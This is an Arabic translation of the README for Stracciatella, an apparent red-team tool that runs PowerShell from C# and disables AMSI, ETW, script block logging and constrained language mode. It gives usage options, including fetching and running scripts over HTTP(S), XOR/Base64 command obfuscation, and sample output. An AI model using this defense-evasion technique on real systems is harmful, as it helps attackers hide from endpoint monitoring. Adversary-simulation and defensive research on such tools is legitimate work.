
مُساحة تشغيل Powershell آمنة من منظور عمليات الأمن (OpSec) من داخل C# (المعروفة بـ SharpPick) مع تعطيل AMSI ووضع اللغة المقيد وتسجيل كتل البرامج النصية عند بدء التشغيل.
مساحة تشغيل PowerShell من داخل C# (تُعرف بتقنية SharpPick) مع تعطيل AMSI وETW وتسجيل كتل النصوص (Script Block Logging) لراحتك.
في الوقت الحالي، وبعد أن تم تجهيز PowerShell بشكل كبير باستخدام تقنيات مثل:
يجب على المهاجمين المتقدمين إيجاد طرق لتجاوز هذه الجهود من أجل تقديم تمارين محاكاة خصومة متطورة. للمساعدة في هذه الجهود، تم إنشاء المشروع التالي.
هذا البرنامج مبني على تجاوزات لتقنيات محددة مضمنة في:
والتي بدورها كانت مبنية على الأبحاث التالية:
فكرة SharpPick، أي تشغيل سكربتات PowerShell من داخل تجميع C# باستخدام مساحات التشغيل (Runspaces) ليست جديدة أيضًا، وقد تم تنفيذها لأول مرة بواسطة Lee Christensen (@tifkin_) في:
أيضًا، الكود المصدري يستعير تنفيذ CustomPSHost من Lee.
هذا المشروع يرث من الأبحاث المذكورة أعلاه ومن مجتمع الأمن الرائع لتوفير بيئة PowerShell قريبة من الفعالية مع تعطيل الدفاعات عند بدء التشغيل.
الآن يُجمّع بسهولة مع .NET 4.0 بينما إذا تم تجميعه مع .NET Framework 4.7.1+ يتم تضمين وظيفة إضافية تسمح بتفريغ مكتبات DLL التي تشكل أدوات تجاوز CLM ومحاولة حذفها بعد ذلك (تعمل بصعوبة لنكون صادقين).
أفضل أداء تحصل عليه مع Stracciatella المُجمّع مع .NET 4.0.
هناك عدة خيارات متاحة:
PS D:\> Stracciatella -h
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
الاستخدام: stracciatella.exe [options] [command]
-s <path>, --script <path> - مسار الملف الذي يحتوي على سكربت PowerShell للتنفيذ. إذا لم تُعطَ أي خيارات، سيدخل
في حلقة شبه-شيل. يمكن أن يكون هذا أيضًا رابط HTTP(S) لتحميل وتنفيذ سكربت PowerShell.
-v, --verbose - يطبع معلومات تفصيلية
-n, --nocleanup - لا تقم بإزالة بقايا تعطيل CLM (ملفات DLL في TEMP ومفاتيح التسجيل COM).
بشكل افتراضي ستتم إزالتها دائمًا.
-C, --leaveclm - لا تحاول تعطيل CLM. أكثر تمويهاً. سيتجنب ترك بقايا تعطيل CLM غير محذوفة.
-f, --force - استمر في التنفيذ حتى لو لم يتم تعطيل دفاعات PowerShell.
بشكل افتراضي نخرج عند الفشل.
-c, --command - ينفذ الأوامر المحددة. يمكنك إما استخدام -c أو إلحاق الأوامر بعد
معاملات stracciatella: cmd> straciatella ipconfig /all
إذا تم إعطاء معاملات الأمر والسكربت، ينفذ الأمر بعد تشغيل السكربت.
-x <key>, --xor <key> - اعتبار الإدخال مشفرًا بـ XOR، حيث <key> هو مفتاح بايت واحد بالعشري
(أسبق بـ 0x للسداسي عشر)
-p <name>, --pipe <name> - قراءة أوامر PowerShell من أنبوب مسمى محدد. يجب أن يسبق الأمر بـ 4 بايت من
طوله مشفرًا بـ little-endian (ترميز الطول-القيمة).
-t <millisecs>, --timeout <millisecs>
- يحدد مهلة لعملية قراءة الأنبوب (بالمللي ثانية). الافتراضي: 60 ثانية. 0 - غير محدود.
-e, --cmdalsoencoded - اعتبار أمر الإدخال (المحدد في '--command') مشفرًا أيضًا.
يفك تشفير أمر الإدخال بعد فك تشفير وتشغيل ملف السكربت الإدخالي.
بشكل افتراضي، نفك تشفير ملف الإدخال فقط ونعتبر الأمر معطى بنص عادي
البرنامج يقبل الأمر ومسار ملف السكربت كمدخل. كلاهما اختياري، إذا لم يُعطَ أي منهما - سيبدأ شبه-شيل. يمكن ترميز كل من الأمر والسكربت باستخدام XOR أحادي البايت (سينتج مخرجات مشفرة بـ Base64) لتجربة OpSec أفضل.
فيما يلي بعض الأمثلة التي توضح حالات الاستخدام:
PS D:\> Stracciatella.exe -v
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] إصدار PowerShell: 5.1
[.] وضع اللغة: FullLanguage
[+] ليست هناك حاجة لتعطيل وضع اللغة المقيدة. بالفعل في FullLanguage.
[+] تم تعطيل تسجيل كتل النصوص.
[+] تم تعطيل AMSI.
[+] تم تعطيل ETW.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
أولاً، لإعداد العبارات المشفرة يمكننا استخدام سكربت encoder.py المرفق، الذي يمكن استخدامه كالتالي:
PS D:\> python encoder.py -h
الاستخدام: encoder.py [options] <command|file>
positional arguments:
command يحدد إما أمرًا أو مسار ملف سكربت للترميز
optional arguments:
-h, --help يُظهر رسالة المساعدة هذه ويخرج
-x KEY, --xor KEY يحدد مفتاح ترميز XOR للأمر/الملف (بايت واحد)
-o PATH, --output PATH
(اختياري) ملف الإخراج. إذا لم يُعطَ - سيطبع الإخراج إلى stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
ثم نُغذي مخرجات encoder.py كمدخل لأمر مشفر لـ Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] سيتم تحميل ملف السكربت: '.\Test2.ps1'
[+] تم تعطيل AMSI.
[+] تم تعطيل ETW.
[+] تم تعطيل تسجيل كتل النصوص.
[.] وضع اللغة: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] نعم، لقد عمل حقًا.
It works like a charm!
FullLanguage
بينما:
Command تم بناؤه من الأوامر التالية: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - يحتوي على: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))